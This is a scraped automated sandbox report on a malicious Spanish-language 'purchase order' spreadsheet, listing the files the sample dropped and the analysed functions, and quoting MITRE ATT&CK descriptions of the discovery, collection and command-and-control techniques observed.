Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\portugalslovenia[1].jpg

C:\Users\user\AppData\Local\Temp\22ev4n4c.e1q.ps1

C:\Users\user\AppData\Local\Temp\lrw43k3g.p0a.psm1

C:\Users\user\AppData\Roaming\portugalslovenia.js

C:\Users\user\Desktop\~$orden de compra.xlam.xls

C:\Users\user\Desktop\~$orden de compra.xlam.xlsx

Static File Info

General

Windows Analysis Report
orden de compra.xlam.xlsx

Function 035205CF Relevance: 4.5, APIs: 3, Instructions: 37
filenetworkCOMMON

Function 035205FD Relevance: 3.0, APIs: 2, Instructions: 50
COMMON

Function 035205E8 Relevance: 3.0, APIs: 2, Instructions: 47
COMMON

Function 0352054E Relevance: 1.6, APIs: 1, Instructions: 54
libraryCOMMON

Function 03520622 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Function 03520629 Relevance: .0, Instructions: 14
COMMON

Function 0352048F Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre